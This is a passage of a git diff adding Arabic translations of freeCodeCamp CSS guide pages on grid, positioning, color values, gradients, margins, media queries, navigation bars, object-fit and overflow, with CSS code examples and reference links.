+  } 
+ } 
+` 
+
+### ابدء
+
+لجعل أي عنصر شبكة ، تحتاج إلى تعيين خاصية `display` الخاصة بها إلى `grid` ، مثل:
+
+ `.conatiner { 
+  display: grid; 
+ } 
+` 
+
+وهذا كل شيء. لقد قمت للتو `.container` . يصبح كل عنصر داخل `.container` عنصر شبكة بشكل تلقائي.
+
+### تحديد القوالب
+
+الصفوف والأعمدة
+
+ `grid-template-columns: 1fr 1fr 1fr 1fr; 
+ grid-template-rows: auto 300px; 
+` 
+
+المناطق
+
+ `grid-template-areas: 
+  "aaaa" 
+  "bcde" 
+  "bcde" 
+  "ffff"; 
+` 
+
+أو
+
+ `grid-template-areas: 
+  "header header header header" 
+  "nav main main sidebar"; 
+` 
+
+### مناطق الشبكة
+
+فيما يلي بعض نماذج التعليمات البرمجية حول كيفية تحديد مناطق الشبكة وتعيينها
+
+ `.site { 
+  display: grid; 
+  grid-template-areas: /* applied to grid container */ 
+    "head head" /* you're assigning cells to areas by giving the cells an area name */ 
+    "nav  main" /* how many values kind of depends on how many cells you have in the grid */ 
+    "nav  foot"; 
+ } 
+ 
+ .site > header { 
+  grid-area: head; 
+ } 
+ 
+ .site > nav { 
+  grid-area: nav; 
+ } 
+ 
+ .site > main { 
+    grid-area: main; 
+ } 
+ 
+ .site > footer { 
+    grid-area: foot; 
+ } 
+` 
+
+### وحدة `fr`
+
+شبكة يدخل وحدة `fr` الجديدة ، والتي تقف على _جزء_ . الشيء الجيد في استخدام وحدة `fr` هو أنه يعتني بالحسابات لك. باستخدام `fr` يتجنب الهامش ومسائل الحشو. مع `%` و `em` وما إلى ذلك ، تصبح معادلة حسابية عند حساب `grid-gap` . إذا كنت تستخدم وحدة `fr` ، فستقوم بحساب كل من أحجام العمود والميزاب تلقائيًا وضبط حجم الأعمدة وفقًا لذلك ، بالإضافة إلى عدم وجود فجوات نزيف في النهاية أيضًا.
+
+### أمثلة
+
+#### تغيير ترتيب العناصر استنادًا إلى حجم الشاشة
+
+لنفترض أنك تريد نقل التذييل إلى أسفل على الشاشات الصغيرة وإلى اليمين على شاشات أكبر ، وهناك مجموعة من عناصر HTML الأخرى بين الاثنين.
+
+الحل البسيط هو تغيير `grid-template-areas` أساس حجم الشاشة. يمكنك أيضًا **تغيير عدد الأعمدة والصفوف بناءً على حجم الشاشة** أيضًا. هذا هو بديل أنظف وأبسط بكثير لنظام Bootstrap الشبكة ( `col-xs-8 col-sm-6 col-md-4 col-lg-3` ).
+
+ `.site { 
+  display: grid; 
+  grid-template-columns: 1fr 1fr; 
+  grid-template-areas: 
+    "title title" 
+    "main header" 
+    "main sidebar" 
+ } 
+ 
+ @media screen and (min-width: 34em) { /* If the screen is big enough, use a different template for grid areas */ 
+  .site { 
+    grid-template-columns: 2fr 1fr 1fr; 
+    grid-template-areas: 
+      "title title title" 
+      "main header header" 
+      "main sidebar footer" 
+  } 
+ } 
+` 
+
+انظر [شبكة](https://codepen.io/aamnah/pen/RLVVoE/) القلم [المغلق من خلال المثال - 2 (مناطق الشبكة + شبكة الفجوة) من](https://codepen.io/aamnah/pen/RLVVoE/) قبل Aamnah أكرم ( [aamnah](https://codepen.io/aamnah) ) على [CodePen](https://codepen.io) .
+
+#### معلومات اكثر:
+
+*   [CSS Grid Palyground by Mozilla](https://mozilladevelopers.github.io/playground/) نقطة انطلاق رائعة إذا كنت جديدًا على CSS Grids. لديها بصريات لمساعدتك على فهم المصطلحات بسهولة
+*   [يوتيوب: Morten Rand-Hendriksen: CSS Grid Changes كل شيء (حول تخطيطات الويب)](https://www.youtube.com/watch?v=txZq7Laz7_4) سوف يقنعك هذا العرض التقديمي في أقل من ساعة من الأسباب التي تجعل CSS Grids رائعة ولماذا / كيف يجب عليك استخدامها
+*   [فيديو: Learn Rid Layout Video Series بقلم راشيل أندرو](https://gridbyexample.com/video/) راشيل أندرو تعتبر خبيرة في هذا الموضوع. قد تبدو عناوين الفيديو غريبة وساحقة ، ولكن المحتوى قصير ولجميع النقاط
+*   [الكتاب: كن مستعدًا لـ CSS Grid Layout بواسطة Rachel Andrew](https://abookapart.com/products/get-ready-for-css-grid-layout)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/layout/index.md b/client/src/guide/arabic/css/layout/index.md
new file mode 100644
index 0000000000..aa9ca193ce
--- /dev/null
+++ b/client/src/guide/arabic/css/layout/index.md
@@ -0,0 +1,11 @@
+---
+title: Layout
+localeTitle: نسق
+---
+## نسق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/layout/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/layout/inline-block/index.md b/client/src/guide/arabic/css/layout/inline-block/index.md
new file mode 100644
index 0000000000..1c2eb10ecf
--- /dev/null
+++ b/client/src/guide/arabic/css/layout/inline-block/index.md
@@ -0,0 +1,11 @@
+---
+title: Inline Block
+localeTitle: مضمنة بلوك
+---
+## مضمنة بلوك
+
+يُعد الحظر المضمن قيمة محتملة لخاصية العرض. العناصر التي تم وضع علامة عليها _كمقطع مضمنة_ تتصرف مثل العناصر المضمنة ( _الامتدادات_ ، على سبيل المثال) ، ولكن يمكن أن يكون لها عرض وطول.
+
+#### معلومات اكثر:
+
+[هذه مقالة رائعة يمكنك](https://css-tricks.com/almanac/properties/d/display/#inline-block) قراءتها لفهم المزيد حول إنشاء التخطيطات باستخدام عناصر الحظر المضمنة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/layout/the-position-property/index.md b/client/src/guide/arabic/css/layout/the-position-property/index.md
new file mode 100644
index 0000000000..e6cd74f855
--- /dev/null
+++ b/client/src/guide/arabic/css/layout/the-position-property/index.md
@@ -0,0 +1,19 @@
+---
+title: The Position Property
+localeTitle: خاصية الموقع
+---
+## خاصية الموقع
+
+تحدد خاصية الموضع نوع طريقة تحديد الموقع المستخدمة لعنصر (ثابت أو نسبي أو ثابت أو مطلق أو لزج). تحدد خاصية الموضع نوع طريقة تحديد المواقع المستخدمة لعنصر. لا يتم استخدام موقع الموضع بشكل عام لإنشاء التنسيقات ، ولكن بدلاً من ذلك يتم استخدامه لوضع العناصر التي تبرز بطريقة ما من تدفق الصفحة.
+
+هناك خمس قيم مختلفة للموضع:
+
+*   ثابتة
+*   نسبيا
+*   ثابت
+*   مطلق
+*   لزج ثم يتم وضع العناصر باستخدام الخصائص العلوية والسفلية واليسرى واليمنى. ومع ذلك ، لن تعمل هذه الخصائص ما لم يتم تعيين خاصية الموضع أولاً. كما أنها تعمل بشكل مختلف بناءً على قيمة المركز.
+
+#### معلومات اكثر:
+
+[هذه مقالة جيدة](https://www.w3schools.com/css/css_positioning.asp) يمكن قراءتها لفهم المزيد عن خاصية الموقع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/legal-color-values/index.md b/client/src/guide/arabic/css/legal-color-values/index.md
new file mode 100644
index 0000000000..04fb38b7ce
--- /dev/null
+++ b/client/src/guide/arabic/css/legal-color-values/index.md
@@ -0,0 +1,217 @@
+---
+title: Legal Color Values
+localeTitle: قيم اللون القانونية
+---
+## قيم اللون القانونية
+
+يمكن تحديد الألوان في CSS بالتنسيقات التالية:
+
+*   [عشري](#hexadecimal-colors)
+*   [RGB](#rgb-colors)
+*   [RGBA](#rgba-colors)
+*   [HSL](#hsl-colors)
+*   [HSLA](#hsla-colors)
+*   [أسماء اللون المعرفة مسبقا](#predefined-color-names)
+
+### ألوان سداسي عشري
+
+#### دعم المتصفح
+
+جميع المتصفحات الرئيسية تدعم قيم hexadecimalcolor.
+
+#### شكل
+
+يتم تحديد قيمة سداسية عشرية كـ **#RRGGBB** ، حيث تحدد الأعداد الصحيحة من RR (أحمر) و GG (أخضر) و BB (أزرق) سداسي عشري مكونات اللون. يجب أن تكون جميع القيم بين 00 و FF. كما يوحي الاسم ، يكون الترميز في الأساس 16.
+
+#### مثال
+
+هنا ألوان عرافة مختلفة. ابحث عن المثال المباشر على https://jsfiddle.net/qg9revp4/2/.
+
+ `#divRed{ 
+  color: #ff0000; /* red */ 
+ } 
+ 
+ #divGreen{ 
+  color: #00ff00; /* green */ 
+ } 
+ 
+ #divBlue{ 
+  color: #0000ff; /* blue */ 
+ } 
+ 
+ #divWhite{ 
+  color: #ffffff; /* white */ 
+  background: #000000; /* black background, so that the text is visible */ 
+ } 
+` 
+
+### ألوان RGB
+
+#### دعم المتصفح
+
+جميع المتصفحات الرئيسية تدعم قيم RGB.
+
+#### شكل
+
+يتم تحديد قيمة RGB كـ **rgb (أحمر ، أخضر ، أزرق)** . يحدد كل معلمة (أحمر وأخضر وأزرق) شدة اللون ويمكن أن يكون عددًا صحيحًا بين 0 و 255.
+
+#### مثال
+
+هنا ألوان RGB مختلفة. ابحث عن المثال الحي على https://jsfiddle.net/vspepeth/1/.
+
+ `#divRed{ 
+  color: rgb(255, 0, 0); /* red */ 
+ } 
+ 
+ #divGreen{ 
+  color: rgb(0, 255, 0); /* green */ 
+ } 
+ 
+ #divBlue{ 
+  color: rgb(0, 0, 255); /* blue */ 
+ } 
+ 
+ #divWhite{ 
+  color: rgb(255, 255, 255); /* white */ 
+  background: rgb(0, 0, 0); /* black background, so that the text is visible */ 
+ } 
+` 
+
+### ألوان RGBA
+
+#### دعم المتصفح
+
+يتم دعم قيم ألوان RGBA في IE9 + و Firefox 3+ و Chrome و Safari و Opera 10+.
+
+#### شكل
+
+يتم تحديد قيمة RGBA كـ **rgb (أحمر ، أخضر ، أزرق ، ألفا)** . اعتبرها امتدادًا لتنسيق RGB ، مع قناة ألفا. المعلمة alpha هي رقم بين 0.0 (شفاف بالكامل) و 1.0 (معتمة بالكامل). تحدد المعلمات الأخرى (الأحمر والأخضر والأزرق) كثافة الألوان ويمكن أن تكون عددًا صحيحًا بين 0 و 255.
+
+#### مثال
+
+هنا مختلف ألوان RGBA. ابحث عن المثال المباشر على https://jsfiddle.net/hq0ngwg2/1/.
+
+ `#divRed{ 
+  color: rgba(255, 0, 0, 0.3); /* red with opacity */ 
+ } 
+ 
+ #divGreen{ 
+  color: rgba(0, 255, 0, 0.7); /* green with opacity */ 
+ } 
+ 
+ #divBlue{ 
+  color: rgba(0, 0, 255, 0.5); /* blue with opacity */ 
+ } 
+ 
+ #divWhite{ 
+  color: rgba(255, 255, 255, 0.6); /* white with opacity */ 
+  background: rgba(0, 0, 0, 0.8); /* black background with opacity */ 
+ } 
+` 
+
+### ألوان HSL
+
+#### دعم المتصفح
+
+يتم دعم قيم ألوان HSL في IE9 + و Firefox و Chrome و Safari و Opera 10+.
+
+#### شكل
+
+HSL تعني الصباغة والتشبع والخفة. يتم تحديده كـ **hsl (تدرج ، تشبع ، خفة)** .
+
+*   **هيو** : هي درجة على عجلة الألوان (من 0 إلى 360). _0_ (أو _360_ ) أحمر و _120_ أخضر و _240_ أزرق.
+    
+*   **التشبع** : إنها قيمة مئوية. _0٪_ يعني الظل الرمادي و _100٪_ هو اللون الكامل.
+    
+*   **الخفة** : هي ، أيضًا ، قيمة نسبة. _0٪_ أسود و _100٪_ أبيض.
+    
+
+#### مثال
+
+فيما يلي جداول من [W3.org](https://www.w3.org/TR/css3-color/#hsl-color) . كل جدول يمثل لونا واحدا. تم اختيار اثنا عشر لونًا متباعدة بالتساوي (أي بفواصل 30 درجة) من دائرة الألوان. يمثل المحور X لكل جدول التشبع (100٪ ، 75٪ ، 50٪ ، 25٪ ، 0٪). المحور Y يمثل الخفة. 50 ٪ هي "طبيعية".
+
+![جدول HSL](https://image.ibb.co/ngq686/hsl.png)
+
+ابحث عن المثال المباشر على https://jsfiddle.net/g10zpL28/1/.
+
+ `#div1 { 
+  background-color: hsl(240, 100%, 50%); /* blue */ 
+ } 
+ #div2 { 
+  background-color: hsl(195, 53%, 79%); /* light blue */ 
+ } 
+ #div3 { 
+  background-color: hsl(240, 100%, 25%); /* dark blue */ 
+ } 
+ #div4 { 
+  background-color: hsl(187, 75%, 86%); /* pastel blue */ 
+ } 
+` 
+
+### ألوان HSLA
+
+#### دعم المتصفح
+
+يتم دعم قيم ألوان HSLA في IE9 + و Firefox 3+ و Chrome و Safari و Opera 10+.
+
+#### شكل
+
+HSLA تعني التدرج والتشبع والخفة وقناة ألفا. تم تحديده كـ **hsla (تدرج ، تشبع ، خفة ، ألفا)** . تحدد قناة ألفا عتامة اللون.
+
+*   **هيو** : هي درجة على عجلة الألوان (من 0 إلى 360). _0_ (أو _360_ ) أحمر و _120_ أخضر و _240_ أزرق.
+    
+*   **التشبع** : إنها قيمة مئوية. _0٪_ يعني الظل الرمادي و _100٪_ هو اللون الكامل.
+    
+*   **الخفة** : هي ، أيضًا ، قيمة نسبة. _0٪_ أسود و _100٪_ أبيض.
+    
+*   **قناة ألفا** : وهي عبارة عن رقم betwenn 0.0 (شفاف تمامًا) و 1.0 (كامد تمامًا).
+    
+
+#### مثال
+
+فيما يلي أمثلة على ألوان HSLA. انظر لهم يعيشون في https://jsfiddle.net/2Lxscgfy/1/.
+
+ `#div1 { 
+  background-color: hsla(240, 100%, 50%, 0.5); /* blue with transparency */ 
+ } 
+ #div2 { 
+  background-color: hsla(195, 53%, 79%, 0.8); /* light blue with transparency */ 
+ } 
+ #div3 { 
+  background-color: hsla(240, 100%, 25%, 0.3); /* dark blue with transparency */ 
+ } 
+ #div4 { 
+  background-color: hsla(187, 75%, 86%, 1.0); /* pastel blue with transparency */ 
+ } 
+` 
+
+### أسماء اللون المعرفة مسبقا
+
+#### دعم المتصفح
+
+يتم تعريف أسماء اللون 147 مسبقًا في مواصفات ألوان CSS. جميع المتصفحات الحديثة تدعمها.
+
+#### مثال
+
+فيما يلي بعض أسماء الألوان المستخدمة. تحقق من المثال الحي على https://jsfiddle.net/rqygumpy/. ابحث عن القائمة الكاملة في [مستندات MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords) .
+
+ `#div1{ 
+  color: BlueViolet; 
+ } 
+ 
+ #div2{ 
+  color: RebeccaPurple; 
+ } 
+ 
+ #div3{ 
+  color: RoyalBlue; 
+ } 
+ 
+ #div4{ 
+  color: Salmon; 
+ } 
+` 
+
+#### معلومات اكثر:
+
+[MDN Web Docs على ألوان CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/color)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/linear-gradient/index.md b/client/src/guide/arabic/css/linear-gradient/index.md
new file mode 100644
index 0000000000..85ed0872ba
--- /dev/null
+++ b/client/src/guide/arabic/css/linear-gradient/index.md
@@ -0,0 +1,91 @@
+---
+title: Linear Gradient
+localeTitle: الخطي التدرج
+---
+## الخطي التدرج
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/linear-gradient/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+في التدرج الخطي ، تتدفق الألوان في اتجاه واحد ، أي من اليسار إلى اليمين ، من الأعلى إلى الأسفل ، أو أي زاوية تختارها.
+
+![تدرج مع توقف لونين](https://cdn.discordapp.com/attachments/261391445074771978/371707961422118912/image.png)
+
+**تدرج خطي مع توقف لونين**
+
+### بناء الجملة-
+
+لإنشاء تدرج خطي ، يجب تحديد إيقافين للألوان على الأقل. (وهي الألوان التي يتم إنشاء الانتقالات بينها). يتم الإعلان على إما **الخلفية** أو خصائص **الصورة الخلفية** .
+
+ `background: linear-gradient(direction, colour-stop1, colour-stop2, ...); 
+` 
+
+**ملاحظة: في حالة عدم تحديد أي اتجاه ، يكون النقل من أعلى إلى أسفل بشكل افتراضي**
+
+### تحولات متدرجة مختلفة
+
+**من اعلى لاسفل :**
+
+ `background: linear-gradient(red, yellow); 
+` 
+
+![من اعلى لاسفل](https://cdn.discordapp.com/attachments/261391445074771978/371702268803809301/image.png)
+
+**من اليسار إلى اليمين :**
+
+لجعله اليسار إلى اليمين، يمكنك إضافة معلمة إضافية في بداية الخطية التدرج () بدءا من كلمة **الذي** يشير إلى الاتجاه:
+
+ `background: linear-gradient(to right, red , yellow); 
+` 
+
+![من اليسار إلى اليمين](https://cdn.discordapp.com/attachments/261391445074771978/371702990161051648/image.png)
+
+**المواضع القطرية:**
+
+يمكنك أيضًا نقل التدرج قطريًا بتحديد مواضع البدء الأفقية والرأسية ، على سبيل المثال ، أعلى اليسار ، أو أسفل اليمين.
+
+إليك نموذجًا للتدرج يبدأ من أعلى اليسار
+
+ ` background: linear-gradient(to bottom right, red, yellow); 
+` 
+
+![أعلى اليسار](https://cdn.discordapp.com/attachments/261391445074771978/371705382105776128/image.png)
+
+### باستخدام الزوايا لتحديد اتجاه التدرج-
+
+يمكنك أيضًا استخدام الزوايا ، لتكون أكثر دقة في تحديد اتجاه التدرج:
+
+ `background: linear-gradient(angle, colour-stop1, colour-stop2); 
+` 
+
+يتم تحديد الزاوية كزاوية بين الخط الأفقي وخط التدرج.
+
+ `background: linear-gradient(90deg, red, yellow); 
+` 
+
+![90 درجة](https://cdn.discordapp.com/attachments/261391445074771978/371710718698848256/image.png)
+
+### باستخدام أكثر من لونين
+
+لا تقتصر على لونين فقط ، يمكنك استخدام العديد من الألوان المفصولة بفواصل كما تريد.
+
+ `background: linear-gradient(red, yellow, green); 
+` 
+
+![تدرج مع 3 توقفات لونية](https://cdn.discordapp.com/attachments/261391445074771978/371706534591201281/image.png)
+
+يمكنك أيضًا استخدام جمل ألوان أخرى مثل RGB أو hex codes لتحديد الألوان.
+
+### توقف اللون الصلب
+
+لا يمكنك استخدام التدرجات اللونية فقط للانتقال باستخدام ألوان باهتة ، ولكن يمكنك أيضًا استخدامها للتغيير من لون واحد إلى لون خالص آخر على الفور
+
+ `background: linear-gradient(to right,red 15%, yellow 15%); 
+` 
+
+![توقف اللون الصلب](https://cdn.discordapp.com/attachments/261391445074771978/371716730046775318/image.png)
+
+**مزيد من المعلومات-** [تدرج خطي على مستندات Mozilla](https://developer.mozilla.org/en-US/docs/Web/CSS/linear-gradient)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/margins/index.md b/client/src/guide/arabic/css/margins/index.md
new file mode 100644
index 0000000000..79afc2fdbe
--- /dev/null
+++ b/client/src/guide/arabic/css/margins/index.md
@@ -0,0 +1,58 @@
+---
+title: Margins
+localeTitle: هوامش
+---
+# هوامش
+
+على `margin` خاصية CSS يحدد منطقة الهامش على جميع الجوانب الأربعة من عنصر. يمكن استخدام هذه الخاصية لإنشاء مساحة حول المحتوى (خارج الحدود). وهو اختصار لتعيين كل الهوامش الفردية دفعة واحدة: `margin-top` ، `margin-right` ، `margin-bottom` ، `margin-left` . يتم تعريف القيم في اتجاه عقارب الساعة.
+
+يتم تعيين قيم الهامش باستخدام أطوال أو نسب مئوية أو كلمة رئيسية `auto` أو `inherit` ، ويمكن أن تقبل قيمًا صفرية أو سالبة. القيمة الأولية ، أو الافتراضية ، لجميع خصائص الهامش هي 0. بينما يمكنك استخدام `inherit` الكلمة الأساسية ولكن لا يمكن استخدامها مع قيمة الطول.
+
+## بناء الجملة
+
+ `.element { 
+    margin: margin-top || margin-right || margin-bottom || margin-left; 
+ } 
+` 
+
+يمكن تحديد هذه الخاصية باستخدام قيم واحدة أو اثنتين أو ثلاثة أو أربعة.
+
+*   عند تحديد قيمة واحدة ، فإنها تطبق نفس الهامش على الجوانب الأربعة.
+*   عند تحديد قيمتين ، ينطبق الهامش الأول على الأعلى والأسفل ، والثاني على اليسار واليمين.
+*   عند تحديد ثلاث قيم ، ينطبق الهامش الأول على الأعلى ، والثاني على اليسار واليمين ، والثالث إلى الأسفل.
+*   عند تحديد أربع قيم ، يتم تطبيق الهوامش على الأعلى ، اليمين ، الأسفل ، واليسار في ذلك الترتيب (في اتجاه عقارب الساعة).
+
+ `/* Apply to all four sides */ 
+ margin: 1em; 
+ 
+ /* top and bottom | left and right */ 
+ margin: 5% 10%; 
+ 
+ /* top | left and right | bottom */ 
+ margin: 1em 2em 2em; 
+ 
+ /* top | right | bottom | left */ 
+ margin: 5px 1em 0 1em; 
+` 
+
+## أين في نموذج مربع
+
+تحدد خاصية الهامش في CSS الجزء الخارجي من نموذج الصندوق ، مما يؤدي إلى إنشاء مساحة حول محتوى عنصر ما ، خارج أية أعمدة و / أو حدود محددة.
+
+![نموذج صندوق المغلق](https://www.w3.org/TR/css3-box/box.png)
+
+## انهيار الهوامش
+
+سوف تنهار هوامش عمودي على عناصر مختلفة تلامس بعضها البعض (وبالتالي لا تحتوي على محتوى أو حشوة أو حدود تفصل بينها) ، مما يشكل هامشًا واحدًا يساوي أكبر الهوامش المجاورة. هذا لا يحدث في هوامش أفقية (يسار ويمين) ، فقط عمودي (أعلى وأسفل).
+
+## دعم المتصفح
+
+مدعوم بشكل فعال في جميع المتصفحات (منذ IE6 + وفايرفوكس 2+ و Chrome 1+ وغيرها)
+
+### معلومات اكثر
+
+*   [W3C مسودة العمل](https://www.w3.org/TR/css3-box/#the-margin)
+*   [W3C CSS Level 2](https://www.w3.org/TR/CSS2/box.html#propdef-margin)
+*   [W3C CSS Level 1](https://www.w3.org/TR/CSS1/#margin)
+*   [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/margin)
+*   [CSS الخدع](https://css-tricks.com/almanac/properties/m/margin/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/media-queries/index.md b/client/src/guide/arabic/css/media-queries/index.md
new file mode 100644
index 0000000000..7ab4260b8a
--- /dev/null
+++ b/client/src/guide/arabic/css/media-queries/index.md
@@ -0,0 +1,30 @@
+---
+title: Media Queries
+localeTitle: تساؤلات الإعلام
+---
+#### واقترح ريدينج:
+
+[استخدام استعلامات الوسائط - مستندات ويب MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries/Using_media_queries)
+
+راجع أيضًا قسم [مبادئ تصميم الويب سريع الاستجابة](https://github.com/freeCodeCamp/freeCodeCamp/blob/staging/seed/challenges/01-responsive-web-design/responsive-web-design.json) في الإصدار التجريبي
+
+#### مشروع المادة:
+
+استعلامات الوسائط هي مجموعات من القواعد التي تحدد خصائص CSS. يمكنك تعيين استعلامات الوسائط لتغيير مظهر المحتوى الخاص بك بناءً على كيفية عرض المحتوى الخاص بك.
+
+يمكن أن تحدد استعلامات الوسائط مظهر المحتوى الخاص بك في شاشات مختلفة. بعض الأمثلة على شاشات العرض المختلفة هي: الصور على شاشة الكمبيوتر ، أو النص المطبوع ، أو صفحات الويب في قارئ الشاشة الصوتي.
+
+في صفحات الويب ، قد لا يتم عرض بعض العناصر باستمرار عبر أحجام مختلفة للشاشة. يمكنك استخدام استعلامات الوسائط لتعيين قواعد خاصة للشاشات الصغيرة والكبيرة.
+
+إليك مثال لاستعلام الوسائط يقوم بتعيين حجم النص الأساسي على شاشة الهاتف:
+
+ `@media screen and (max-width: 450px) { 
+ body { 
+   font-size: 12px; 
+  } 
+ } 
+` 
+
+وينص استبيان الوسائط هذا على أنه بالنسبة لأحجام الشاشات التي يصل عرضها إلى 450 بكسل ، يجب أن يتم عرض نص النص بحجم 12px.
+
+يمكن أن تكون استعلامات الوسائط مفيدة في [تصميم الويب سريع الاستجابة](https://guide.freecodecamp.org/html/responsive-web-design) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/navigation-bars/index.md b/client/src/guide/arabic/css/navigation-bars/index.md
new file mode 100644
index 0000000000..811ee56d32
--- /dev/null
+++ b/client/src/guide/arabic/css/navigation-bars/index.md
@@ -0,0 +1,63 @@
+---
+title: Navigation Bars
+localeTitle: أشرطة الملاحة
+---
+## أشرطة الملاحة
+
+تعد أشرطة التنقل عنصرًا مهمًا جدًا لأي موقع ويب. أنها توفر الطريقة الرئيسية للملاحة من خلال توفير قائمة رئيسية من الروابط إلى مستخدم. هناك العديد من الطرق لإنشاء شريط التنقل. أسهل طريقة لإنشاء شريط تنقل هي استخدام قائمة غير مرتبة ونمطها باستخدام CSS.
+
+تتكون قوائم التنقل في الغالب من قوائم `<ul>` التي يتم ترتيبها وترتيبها أفقيًا.
+
+أثناء تصميم أشرطة التنقل ، من الشائع إزالة التباعد الإضافي الذي تم إنشاؤه بواسطة العلامات `<ul>` و `<li>` بالإضافة إلى النقاط التي يتم إدراجها تلقائيًا:
+
+ `   list-style-type: none; 
+   margin: 0px; 
+   padding: 0px; 
+` 
+
+**مثال:**
+
+هناك جزءان لأي التنقل: HTML و CSS. هذا مجرد مثال سريع.
+
+ `
+<nav class="myNav">                                 <!-- Any element can be used here --> 
+    <ul> 
+        <li><a href="index.html">Home</a></li> 
+        <li><a href="about.html">About</a></li> 
+        <li><a href="contact.html">Contact</a></li> 
+    </ul> 
+ </nav> 
+` 
+
+ `/* Define the main Navigation block */ 
+ .myNav { 
+    display: block; 
+    height: 50px; 
+    line-height: 50px; 
+    background-color: #333; 
+ } 
+ /* Remove bullets, margin and padding */ 
+ .myNav ul { 
+    list-style: none; 
+    padding: 0; 
+    margin: 0; 
+ } 
+ .myNav li { 
+    float: left; 
+    /* Or you can use display: inline; */ 
+ } 
+ /* Define the block styling for the links */ 
+ .myNav li a { 
+    display: inline-block; 
+    text-align: center; 
+    padding: 14px 16px; 
+ } 
+ /* This is optional, however if you want to display the active link differently apply a background to it */ 
+ .myNav li a.active { 
+    background-color: #3786E1; 
+ } 
+` 
+
+#### معلومات اكثر:
+
+المزيد من أمثلة التنقل: [W3Schools](https://www.w3schools.com/css/css_navbar.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/object-fit/index.md b/client/src/guide/arabic/css/object-fit/index.md
new file mode 100644
index 0000000000..aebe33df29
--- /dev/null
+++ b/client/src/guide/arabic/css/object-fit/index.md
@@ -0,0 +1,41 @@
+---
+title: Object Fit
+localeTitle: كائن صالح
+---
+# كائن صالح
+
+تحدد خاصية `object-fit` العناصر كيف يستجيب عنصر إلى عرض / ارتفاع مربع الأصل.
+
+يمكن استخدام هذه الخاصية للصورة أو الفيديو أو أي وسائط أخرى. ويمكن أيضًا استخدامه مع خاصية `object-position` للحصول على مزيد من التحكم في كيفية عرض الوسائط.
+
+بشكل أساسي ، نستخدم خاصية `object-fit` لتحديد كيفية امتدادها أو إسحقها في وسط وسائط مضمنة.
+
+## بناء الجملة
+
+ `.element { 
+    object-fit: fill || contain || cover || none || scale-down; 
+ } 
+` 
+
+## القيم
+
+*   `fill` : **هذه هي القيمة الافتراضية** . قم بتغيير حجم المحتوى ليطابق مربعه الأصلي بغض النظر عن نسبة العرض إلى الارتفاع.
+    
+*   `contain` : تغيير حجم المحتوى لتعبئة المربع الأصل باستخدام نسبة العرض إلى الارتفاع الصحيحة.
+    
+*   `cover` : مماثل `contain` ولكن غالبًا ما يحصد المحتوى.
+    
+*   `none` : قم بعرض الصورة بحجمها الأصلي.
+    
+*   `scale-down` : قارن الفرق بين `none` `contain` للعثور على أصغر حجم كائن ملموس.
+    
+
+## التوافق المتصفح
+
+يتم دعم `object-fit` قبل معظم المتصفحات الحديثة ، للحصول على أحدث المعلومات حول التوافق ، يمكنك التحقق من ذلك http://caniuse.com/#search=object-fit
+
+أيضا هناك polyfill للمتصفح غير معتمد (في الغالب IE). https://github.com/anselmh/object-fit
+
+## معلومات اكثر
+
+https://developer.mozilla.org/en-US/docs/Web/CSS/object-fit https://drafts.csswg.org/css-images-3/#the-object-fit
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/overflow/index.md b/client/src/guide/arabic/css/overflow/index.md
new file mode 100644
index 0000000000..e068d21438
--- /dev/null
+++ b/client/src/guide/arabic/css/overflow/index.md
@@ -0,0 +1,69 @@
+---
+title: Overflow
+localeTitle: فيض
+---
+# فيض
+
+تحدد الخاصية `overflow` ما يحدث إذا تجاوز المحتوى مربع عنصر (هذه الخاصية لا تعمل إلا مع عناصر الحظر ذات الارتفاع المحدد).
+
+تحدد هذه الخاصية ما إذا كان سيتم قص المحتوى أو إضافة أشرطة التمرير عندما يكون محتوى عنصر أكبر من أن يتناسب مع المساحة المحددة.
+
+على سبيل المثال ، يتم تعيين عنصر مستوى الكتلة المحدد ( `<div>` ) إلى عرض 300 بكسل ، ويحتوي على صورة بعرض 400 بكسل. ستتم إزالة الصورة من div وتكون مرئية بشكل افتراضي. ومع ذلك ، إذا تم تعيين قيمة الفائض إلى مخفية ، فستتوقف الصورة عند 300 بكسل.
+
+## القيم
+
+*   `visible` : هذه هي القيمة الافتراضية للموقع. لا يتم قص المحتوى عندما يكون أكبر من المربع.
+*   `hidden` : سيتم إخفاء المحتوى المتضائل.
+*   `scroll` : مشابه للخفي ، ولكن سيتمكن المستخدمون من التمرير عبر المحتوى المخفي.
+*   `auto` : إذا استمر المحتوى خارج المربع الخاص به ، فسيتم إخفاء هذا المحتوى ، بينما يجب أن يكون شريط التمرير مرئيًا للمستخدمين لقراءة بقية المحتوى.
+*   `initial` : يستخدم القيمة الافتراضية المرئية.
+*   `inherit` : لتعيين تجاوز السعة إلى قيمة العنصر الرئيسي.
+
+## أمثلة
+
+### مرئي:
+
+ `.box-element { overflow: visible; } 
+` 
+
+![صورة المثال](https://s26.postimg.org/gweu6g5yh/1-vissible.png)
+
+### المخفية:
+
+ `.box-element { overflow: hidden; } 
+` 
+
+![صورة المثال](https://s26.postimg.org/l49mf77e1/2-hidden.png)
+
+### انتقل:
+
+ `.box-element { overflow: scroll; } 
+` 
+
+![صورة المثال](https://s26.postimg.org/d8z30dxrd/3-scroll.png)
+
+### تلقاءي:
+
+ `.box-element { overflow: auto; } 
+` 
+
+![صورة المثال](https://s26.postimg.org/z5q7ei0bt/4-autoank.png)
+
